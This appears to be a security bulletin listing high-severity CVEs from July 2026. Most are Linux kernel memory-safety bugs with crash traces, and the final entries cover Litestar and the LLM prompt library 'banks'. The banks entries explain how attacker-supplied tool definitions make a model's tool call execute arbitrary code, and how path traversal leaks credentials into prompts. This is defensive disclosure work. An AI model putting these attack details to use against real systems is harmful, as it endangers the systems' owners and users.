| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: bpf, sockmap: reject overflowing copy + len in bpf_msg_push_data() When the scatterlist ring is full or nearly full, bpf_msg_push_data() enters a copy fallback path and computes copy + len for the page allocation size. Since len comes from BPF with arg3_type = ARG_ANYTHING and both are u32, a crafted len can wrap the sum to a small value, causing an undersized allocation followed by an out-of-bounds memcpy. BUG: unable to handle page fault for address: ffffed104089a402 Oops: Oops: 0000 [#1] SMP KASAN NOPTI Call Trace: __asan_memcpy (mm/kasan/shadow.c:105) bpf_msg_push_data (net/core/filter.c:2852 net/core/filter.c:2788) bpf_prog_9ed8b5711920a7d7+0x2e/0x36 sk_psock_msg_verdict (net/core/skmsg.c:934) tcp_bpf_sendmsg (net/ipv4/tcp_bpf.c:421 net/ipv4/tcp_bpf.c:584) __sys_sendto (net/socket.c:2206) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) Add an overflow check before the allocation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 8.4        | <a href="#">CVE-2026-64548</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: virtio-net: fix len check in receive_big() receive_big() bounds the device-announced length by (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose: add_recvbuf_big() sets sg[1] to start at offset sizeof(struct padded_vnet_hdr) into the first page, so the chain actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) + big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the check allows for the common hdr_len == 12 case. A malicious virtio backend can announce a len in that gap. page_to_skb() then walks one frag past the page chain, storing a NULL page->private into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds write past the static frag array and a NULL frag handed up the rx path. Bound len by the size add_recvbuf_big() actually advertised.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 8.4        | <a href="#">CVE-2026-64552</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: netfilter: bridge: fix stale prevhdr pointer in br_ip6_fragment() br_ip6_fragment() gets prevhdr, a pointer into the skb head, from ip6_find_1stfragopt(), then calls skb_checksum_help(). For a cloned skb skb_checksum_help() reallocates the head via pskb_expand_head(), leaving prevhdr dangling. It is later dereferenced in ip6_frag_next(), causing a use-after-free write. Save prevhdr's offset before skb_checksum_help() and recompute it after, like commit ef0efcd3bd3f ("ipv6: Fix dangling pointer when ipv6 fragment"). BUG: KASAN: slab-use-after-free in ip6_frag_next (net/ipv6/ip6_output.c:857) Write of size 1 at addr ffff888013ff5016 by task exploit/141 Call Trace: ... kasan_report (mm/kasan/report.c:595) ip6_frag_next (net/ipv6/ip6_output.c:857) br_ip6_fragment (net/ipv6/netfilter.c:212) nf_ct_bridge_post (net/bridge/netfilter/nf_conntrack_bridge.c:407) nf_hook_slow (net/netfilter/core.c:619) br_forward_finish (net/bridge/br_forward.c:66) __br_forward (net/bridge/br_forward.c:115) maybe_deliver (net/bridge/br_forward.c:191) br_flood (net/bridge/br_forward.c:245) br_handle_frame_finish (net/bridge/br_input.c:229) br_handle_frame (net/bridge/br_input.c:442) ... packet_sendmsg (net/packet/af_packet.c:3114) ... do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Kernel panic - not syncing: Fatal exception in interrupt | 2026-07-27 | 8.8        | <a href="#">CVE-2026-64554</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: nv: Fix SPSR_EL2 restore in kvm_hyp_handle_mops() kvm_hyp_handle_mops() resets the single-step state machine as part of rewinding state for a MOPS exception by modifying vcpu_cpsr() and writing the result directly into hardware. In the case of nested virtualization, vcpu_cpsr() is a synthetic value such that the rest of KVM can deal with vEL2 cleanly. That means the value requires translation before being written into hardware, which is unfortunately missing from the MOPS handler. Fix it by directly modifying SPSR_EL2 and avoiding the synthetic state altogether, which will be resynchronized on the next 'full' exit back to KVM.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 8.8        | <a href="#">CVE-2026-64555</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix use-after-free in l2cap_sock_new_connection_cb() l2cap_sock_new_connection_cb() returned l2cap_pi(sk)->chan after release_sock(parent). Once the parent lock is dropped the newly enqueued child socket sk is reachable via the accept queue, so another task can accept and free it before the callback dereferences sk, resulting in a use-after-free. Rework the ->new_connection() op so the core, rather than the callback, owns the child channel's lifetime. The op now receives a pre-allocated new_chan and returns an errno instead of allocating and returning a channel. l2cap_new_connection() allocates the child channel and links it into the conn list via __l2cap_chan_add() before invoking the callback, so the conn-list reference keeps the channel alive once release_sock(parent) exposes the socket to other tasks. Channel configuration that was duplicated in l2cap_sock_init() and the various new_connection callbacks is consolidated into l2cap_chan_set_defaults(), which now inherits from the parent channel when one is supplied.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-29 | 8.8        | <a href="#">CVE-2026-64557</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: reject oversized nested action attrs Open vSwitch stores generated flow actions as nlattrs, whose nla_len field is u16. Commit a1e64addf3ff ("net: openvswitch: remove misbehaving actions length check") allowed the total sw_flow_actions stream to grow beyond 64 KiB, which is valid, but also removed the last guard preventing a generated nested action attribute from exceeding U16_MAX. An oversized generated container can thus be closed with a truncated nla_len. A later dump or teardown then walks a structurally different stream than the one that was validated. In particular, an oversized nested CLONE/CT action may                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-27 | 7.8        | <a href="#">CVE-2026-64531</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | cause subsequent bytes in the generated stream to be interpreted as independent actions. Keep the larger total-action-stream behavior, but make nested action close reject generated containers that do not fit in nla_len, and return the error through all callers. For recursive SAMPLE, CLONE, DEC_TTL, and CHECK_PKT_LEN builders, trim resource-owning action-list tails in reverse construction order before discarding failed wrappers, so resources copied into the rejected tails are released before the wrappers are removed. Most failed outer wrappers are discarded by truncating actions_len after child resources have been released. CHECK_PKT_LEN also trims its parent after branch resources are gone. SET/TUNNEL close failures unwind their known tun_dst ownership directly, and SET_TO_MASKED has no external ownership and truncates on close failure.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: bound NTFS_DE view.data_off in UpdateRecordData{Root,Allocation} In do_action()'s UpdateRecordDataRoot (fslog.c:3489) and UpdateRecordDataAllocation (fslog.c:3697) cases, the memmove destination is `Add2Ptr(e, le16_to_cpu(e->view.data_off))`, where e->view.data_off comes from an on-disk NTFS_DE inside an INDEX_ROOT or INDEX_BUFFER. Neither case validates view.data_off + dlen against e->size; the existing check_if_index_root / check_if_alloc_index helpers walk the entry chain and validate the entry's offset, but not its internal view fields. The neighbouring read sites (e.g., fs/ntfs3/index.c when iterating view entries) check view.data_off + view.data_size <= e->size. Apply the same bound at the two memmove sites. Reproduced under UML+KASAN on mainline 8d90b09e6741 via pr_warn-only probe instrumentation: with view.data_off forced to 0xFFFFC, the memmove writes 32 bytes past the end of the NTFS_DE. This is similar in shape to Pavitra Jha's 2026-05-02 patch "fs/ntfs3: prevent oob in case UpdateRecordDataRoot" (<20260502105008.21827-1-jhapavitra98@gmail.com>) which proposes calling ntfs3_bad_de_range(); that helper does not exist in mainline. This patch uses inline checks.                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 7.8        | <a href="#">CVE-2026-64532</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate lcns_follow in log_replay conversion log_replay() converts DIR_PAGE_ENTRY_32 records into DIR_PAGE_ENTRY records when replaying version 0 restart tables. During this conversion, the memmove() length is derived directly from the on-disk lcns_follow field: memmove(&dp->vcn, &dp0->vcn_low, 2 * sizeof(u64) + le32_to_cpu(dp->lcns_follow) * sizeof(u64)); check_rstbl() validates restart table structure, but does not constrain per-entry lcns_follow values relative to the entry size. A malformed filesystem image can provide an oversized lcns_follow value, causing the conversion memmove() to access memory beyond the bounds of the allocated restart table buffer. The same field is later used to bound iteration over page_lcns[], so validating lcns_follow during conversion also prevents downstream out-of-bounds access from the same malformed metadata. Compute the maximum valid lcns_follow from the already-validated restart table entry size and reject entries that exceed this bound. Reuse the existing t16/t32 scratch variables already declared in log_replay() to avoid introducing new declarations. [almaz.alexandrovich@paragon-software.com: fixed the conflicts]                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 7.8        | <a href="#">CVE-2026-64533</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: eir: Fix stack OOB write when prepending the Flags AD eir_create_adv_data() builds the advertising data into a fixed-size buffer ("size", 31 for the legacy path). It may prepend a 3-byte "Flags" AD structure (LE_AD_NO_BREDR on an LE-only controller) and then copies the per-instance data without checking that it still fits: memcpy(ptr, adv->adv_data, adv->adv_data_len); tlv_data_max_len() only reserves those 3 bytes when the user-supplied flags carry a managed-flags bit, so an instance added with flags == 0 is accepted with adv_data_len up to the full buffer. At advertise time the flags are still prepended, and the memcpy() writes 3 + adv_data_len bytes into the size-byte buffer: BUG: KASAN: stack-out-of-bounds in eir_create_adv_data (net/bluetooth/eir.c:301) Write of size 31 at addr ffff88800a547bdc by task kworker/u9:0/65 Workqueue: hci0 hci_cmd_sync_work _asan_memcpy (mm/kasan/shadow.c:106) eir_create_adv_data (net/bluetooth/eir.c:301) hci_update_adv_data_sync (net/bluetooth/hci_sync.c:1310) hci_schedule_adv_instance_sync (net/bluetooth/hci_sync.c:1817) hci_cmd_sync_work (net/bluetooth/hci_sync.c:332) This frame has 1 object: [32, 64] 'cp' The "Flags" structure is added by the kernel, not requested by userspace, so only prepend it when it fits together with the instance advertising data; when there is no room for both, drop the flags rather than the user-provided data. Reachable by a local user with CAP_NET_ADMIN owning an LE-only controller on the legacy advertising path. | 2026-07-27 | 7.8        | <a href="#">CVE-2026-64539</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: tipc: fix use-after-free of the discoverer in tipc_disc_rcv() bearer_disable() frees b->disc with tipc_disc_delete()'s plain kfree(), but tipc_disc_rcv() still dereferences b->disc in RX softirq under rcu_read_lock() (tipc_udp_rcv -> tipc_rcv -> tipc_disc_rcv). L2 bearers are safe thanks to the synchronize_net() in tipc_disable_l2_media(), but the UDP bearer defers that call to the cleanup_bearer() workqueue, so the discoverer is freed with no grace period: BUG: KASAN: slab-use-after-free in tipc_disc_rcv (net/tipc/discover.c:149) Read of size 8 at addr ffff88802348b728 by task poc_tipc/184 <IRQ> tipc_disc_rcv (net/tipc/discover.c:149) tipc_rcv (net/tipc/node.c:2126) tipc_udp_rcv (net/tipc/udp_media.c:391) udp_rcv (net/ipv4/udp.c:2643) ip_local_deliver_finish (net/ipv4/ip_input.c:241) </IRQ> Freed by task 181: kfree (mm/slub.c:6565) bearer_disable (net/tipc/bearer.c:418) tipc_nl_bearer_disable (net/tipc/bearer.c:1001) The bearer is freed with kfree_rcu(); free the discoverer the same way. Add an rcu_head to struct tipc_discoverer and free it and its skb from an RCU callback. Because the RCU callback (tipc_disc_free_rcu) lives in module text, a call_rcu() that is still pending when the tipc module is unloaded would invoke a freed function. Add an rcu_barrier() to tipc_exit() after the bearer subsystem has been torn down, so all pending discoverer callbacks have run before the module text goes away. Reachable from an unprivileged user namespace: the TIPCv2 genl family is netnsok and its bearer commands have no GENL_ADMIN_PERM. Needs CONFIG_TIPC and CONFIG_TIPC_MEDIA_UDP. | 2026-07-27 | 7.8        | <a href="#">CVE-2026-64543</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: net, bpf: check master for NULL in xdp_master_redirect() xdp_master_redirect() dereferences the result of netdev_master_upper_dev_get_rcu() without a NULL check, but that helper returns NULL when the receiving device has no upper-master adjacency. The reach guard only checks netif_is_bond_slave(). On bond slave release bond_upper_dev_unlink() drops the upper-master adjacency before clearing IFF_SLAVE, so an XDP_TX reaching xdp_master_redirect() in that window still passes netif_is_bond_slave() while master is already NULL, and faults on master->flags at offset 0xb0: BUG: kernel NULL pointer dereference, address: 00000000000000b0 RIP: 0010:xdp_master_redirect (net/core/filter.c:4432) Call Trace: xdp_master_redirect (net/core/filter.c:4432) bpf_prog_run_generic_xdp (include/net/xdp.h:700) do_xdp_generic (net/core/dev.c:5608) __netif_receive_skb_one_core (net/core/dev.c:6204) process_backlog (net/core/dev.c:6319) __napi_poll (net/core/dev.c:7729) net_rx_action (net/core/dev.c:7792) handle_softirqs (kernel/softirq.c:622) __dev_queue_xmit (include/linux/bottom_half.h:33) packet_sendmsg (net/packet/af_packet.c:3082) __sys_sendto (net/socket.c:2252) Kernel panic - not syncing: Fatal exception in interrupt The missing check dates back to the original code; commit 1921f91298d1 ("net, bpf: fix null-ptr-deref in xdp_master_redirect() for down master") later added the master->flags read where the fault now lands but kept the unconditional deref. Check master for NULL before use; a NULL master is treated the same as one that is not up.                                                | 2026-07-27 | 7.5        | <a href="#">CVE-2026-64545</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: drm/edid: fix OOB read in drm_parse_tiled_block() drm_parse_tiled_block() casts the DisplayID block to a struct displayid_tiled_block and reads the full fixed layout up to tile->topology_id[7] without checking block->num_bytes. The DisplayID iterator only validates the declared payload length, so a crafted EDID can advertise a tiled-display block (tag DATA_BLOCK_TILED_DISPLAY, or DATA_BLOCK_2_TILED_DISPLAY_TOPOLOGY for v2.0) with a small num_bytes at the end of a DisplayID extension. The read then runs past the end of the exact-sized kmempdup()'d EDID allocation, a heap out-of-bounds read. Reject blocks shorter than the spec's 22-byte tiled payload before reading the fixed struct, as drm_parse_vesa_mso_data() already does. BUG: KASAN: slab-out-of-bounds in drm_edid_connector_update Read of size 2 at addr ffff888010077700 by task exploit/147 dump_stack_lvl (lib/dump_stack.c:94 ...) print_report (mm/kasan/report.c:378 ...) kasan_report (mm/kasan/report.c:595) drm_edid_connector_update (drivers/gpu/drm/drm_edid.c:7581) bochs_connector_helper_get_modes (drivers/gpu/drm/tiny/bochs.c:574) drm_helper_probe_single_connector_modes (drivers/gpu/drm/drm_probe_helper.c:426) status_store (drivers/gpu/drm/drm_sysfs.c:219) ... vfs_write (fs/read_write.c:595) fs/read_write.c:688) ksys_write (fs/read_write.c:740)                                                                                                                                                                                                                                                                                       | 2026-07-27 | 7.1        | <a href="#">CVE-2026-64546</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: net: qualcomm: rmnet: validate MAP frame length before ingress parsing When ingress                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 7.3        | <a href="#">CVE-2026-64550</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | deaggregation is disabled, rmnet_map_ingress_handler() passes the skb straight to __rmnet_map_ingress_handler(), skipping the length validation that rmnet_map_deaggregate() performs on the aggregated path. The parser then dereferences the MAP header and csum header/trailer based on the on-wire pkt_len without checking skb->len, so a short frame is read out of bounds: BUG: KASAN: slab-out-of-bounds in rmnet_map_checksum_downlink_packet Read of size 1 at addr ffff88801118ed00 by task exploit/147 Call Trace: ... rmnet_map_checksum_downlink_packet (drivers/net/ethernet/qualcomm/rmnet/rmnet_map_data.c:413) __rmnet_map_ingress_handler (drivers/net/ethernet/qualcomm/rmnet/rmnet_handlers.c:96) rmnet_rx_handler (drivers/net/ethernet/qualcomm/rmnet/rmnet_handlers.c:129) __netif_receive_skb_core.constprop.0 (net/core/dev.c:6089) netif_receive_skb (net/core/dev.c:6460) tun_get_user (drivers/net/tun.c:1955) tun_chr_write_iter (drivers/net/tun.c:2001) vfs_write (fs/read_write.c:688) ksys_write (fs/read_write.c:740) do_syscall_64 (arch/x86/entry/syscall_64.c:94) ... Factor that validation out of rmnet_map_deaggregate() into rmnet_map_validate_packet_len() and run it on the no-aggregation path too. The MAP header is bounds-checked first, since this path can receive a frame shorter than the header.                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: perf/core: Detach event groups during remove_on_exec perf_event_remove_on_exec() removes events by calling perf_event_exit_event(). For top-level events, this removes the event from the context with DETACH_EXIT only. This can leave inconsistent group state when a removed event is a group leader and the group contains siblings without remove_on_exec. If the group was active, the surviving siblings can remain active and attached to the removed leader's sibling list, but are no longer represented by a valid group leader on the PMU context active lists. A later close of the removed leader uses DETACH_GROUP and can promote the still-active siblings from this stale group state. The next schedule-in can then add an already-linked active_list entry again, corrupting the PMU context active list. With DEBUG_LIST enabled, this is caught as a list_add double-add in merge_sched_in(). Fix this by detaching group relationships when remove_on_exec removes an event. This preserves the existing task-exit and revoke behavior, while ensuring surviving siblings are ungrouped before the removed event leaves the context.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-29 | 7.8        | <a href="#">CVE-2026-64556</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: s390/pkey: Check length in pkey_pckmo handler implementation Explicitly check the length of the target buffer in the pkey_pckmo implementation of the key_to_protkey() handler function. The handler function fails, if the generated output data exceeds the length of the provided target buffer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-29 | 7.8        | <a href="#">CVE-2026-64558</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: s390/pkey: Check length in PKEY_VERIFYPROTK ioctl Explicitly check the buffer length request structure provided by user-space and fail, if it exceeds the buffer size.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 7.8        | <a href="#">CVE-2026-64559</a> |
| Linux--Linux              | In the Linux kernel, the following vulnerability has been resolved: posix-cpu-timers: Prevent UAF caused by non-leader exec() race Wongi and Jungwoo decoded and reported a non-leader exec() related race which can result in an UAF: sys_timer_delete() exec() posix_cpu_timer_del() // Observes old leader p = pid_task(pid, pid_type); de_thread() switch_leader(); release_task(old_leader) __exit_signal(old_leader) sighand = lock(old_leader, sighand); posix_cpu_timers*__exit(); sighand = lock_task_sighand(p) unhash_task(old_leader); sh = lock(p, sighand) old_leader->sighand = NULL; unlock(sighand); (p->sighand == NULL) unlock(sh) return NULL; // Returns without action if(!sighand) return 0; free_posix_timer(); This is "harmless" unless the deleted timer was armed and enqueued in p->signal because on exec() a TGID targeted timer is inherited. As sys_timer_delete() freed the underlying posix timer object run_posix_cpu_timers() or any timerqueue related add/delete operations on other timers will access the freed object's timerqueue node, which results in an UAF. There is a similar problem vs. posix_cpu_timer_set(). For regular posix timers it just transiently returns -ESRCH to user space, but for the use case in do_cpu_nanosleep() it's the same UAF just that the k_itimer is allocated on the stack. Also posix_cpu_timer_rearm() fails to rearm the timer, which means it stops to expire. While debating solutions Frederic pointed out another problem: posix_cpu_timer_del(tmr) __exit_signal(p) posix_cpu_timers*__exit(p); unhash_task(p); p->sighand = NULL; sh = lock_task_sighand(p) sighand = p->sighand; if (!sighand) return NULL; lock(sighand); if (!sh) WARN_ON_ONCE(timer_queued(tmr)); On weakly ordered architectures it is not | 2026-07-29 | 7.8        | <a href="#">CVE-2026-64560</a> |

# High Vulnerabilities

| Primary Vendor -- Product                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                | guaranteed that <code>posix_cpu_timer_del()</code> will observe the stores in <code>posix_cpu_timers*_exit()</code> when <code>p-&gt;sigband</code> is observed as <code>NULL</code> , which means the <code>WARN()</code> can be a false positive. Solve these issues by: 1) Changing the store in <code>_exit_signal()</code> to <code>smp_store_release()</code> . 2) Adding a <code>smp_acquire__after_ctrl_dep()</code> into the <code>!sigband</code> path of <code>lock_task_sigband()</code> . 3) Creating a helper function for looking up the task and locking <code>sigband</code> which does not return when <code>sigband == NULL</code> . Instead it retries the task lookup and only if that fails it gives up. 4) Using that helper in the three affected functions. #1/#2 ensures that the reader side which observes <code>sigband == NULL</code> also observes all preceeding stores, i.e. the stores in <code>posix_cpu_timers*_exit()</code> and the ones in <code>unhash_task()</code> . #3 ensures that the above described non-leader <code>exec()</code> situation is handled gracefully. When the task lookup returns the old leader, but <code>sigband == NULL</code> then it retries. In the non-leader <code>exec()</code> case the subsequent task lookup will observe the new leader due to #1/#2. In normal <code>exit()</code> scenarios the subsequent lookup fails. When the task lookup fails, the function also checks whether the timer is still enqueued and issues a warning if that's the case. Unfortunately there is nothing which can be done about it, but as the task is already not longer visible the timer should not be accessed anymore. This check also requires memory ordering, which is not provided when the first lookup fails. To achieve that the check is preceeded by a <code>smp_rmb()</code> which pairs with the <code>smp_wmb()</code> in <code>write_seqlock()</code> in <code>_exit_signal()</code> . That ensures that the stores in <code>posix_cpu_timers*_exit()</code> are visible. The history of the non-leader <code>exec()</code> issue goes back to the early days of <code>posix</code> CPU timers, which stored a pointer to the group leader task in the timer. That obviously fails when a non-leader <code>exec()</code> switches the leader. commit <code>e0a70217107e</code> ("posix-cpu-timers: workaround to suppress the problems with <code>mt exec</code> ") added a temporary workaround for that in 2010 which surv ---truncated--- |            |            |                                |
| litestar-org--<br>litestar                     | Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to version 2.20.0, Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations. This issue has been patched in version 2.20.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 8.1        | <a href="#">CVE-2026-48060</a> |
| magepeopleteam--<br>Booking and Rental Manager | Unauthenticated Other Vulnerability Type in Booking and Rental Manager <= 2.7.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59532</a> |
| masci--banks                                   | Banks generates meaningful LLM prompts using a simple template language. In versions prior to 2.4.3, banks parses Tool JSON objects from the rendered body of <code>{% completion %}</code> blocks and later resolves their <code>import_path</code> field through <code>importlib.import_module(...)</code> + <code>getattr(...)</code> to obtain the callable that handles a tool call. There is no allowlist or sanitization on <code>import_path</code> , so any importable Python attribute (e.g. <code>os.system</code> , <code>subprocess.getoutput</code> ) can be selected. When the LLM emits a <code>tool_calls</code> entry whose <code>function.name</code> matches the attacker-supplied tool name, the resolved callable is invoked with <code>kwargs</code> decoded from <code>tool_call.function.arguments</code> , yielding arbitrary code execution in the banks-hosting process. This is distinct from GHSA-gphh-9q3h-jgpp / CVE-2026-44209. That advisory was fixed in 2.4.2 by switching <code>src/banks/env.py</code> from <code>Environment</code> to <code>SandboxedEnvironment</code> . The fix does not touch <code>src/banks/extensions/completion.py</code> , and the unsafe <code>import</code> + <code>getattr</code> chain still executes on 2.4.2. The malicious Tool JSON is plain text in the rendered template body - it requires no Jinja attribute access, so the sandbox is irrelevant. This issue has been fixed in version 2.4.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-30 | 7.5        | <a href="#">CVE-2026-61536</a> |
| masci--banks                                   | Banks generates meaningful LLM prompts using a simple template language. In versions prior to 2.4.4, all four media filters (image, audio, video, document) in banks accept untrusted user input as file paths via <code>Path(value)</code> and pass them directly to <code>open(file_path, "rb")</code> without any path sanitization, canonicalization, or directory restriction. An attacker who controls template variables passed to a banks Prompt can use path traversal ( <code>../</code> ) to read arbitrary files accessible to the Python process-including <code>.env</code> files, SSH keys, cloud credentials, source code, <code>/etc/passwd</code> , and <code>/etc/shadow</code> -with the content returned base64-encoded in the rendered prompt output, making exfiltration trivial. This is particularly dangerous for applications that use banks to process user-provided template variables before sending prompts to an LLM. This issue has been fixed in version 2.4.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 7.5        | <a href="#">CVE-2026-62663</a> |
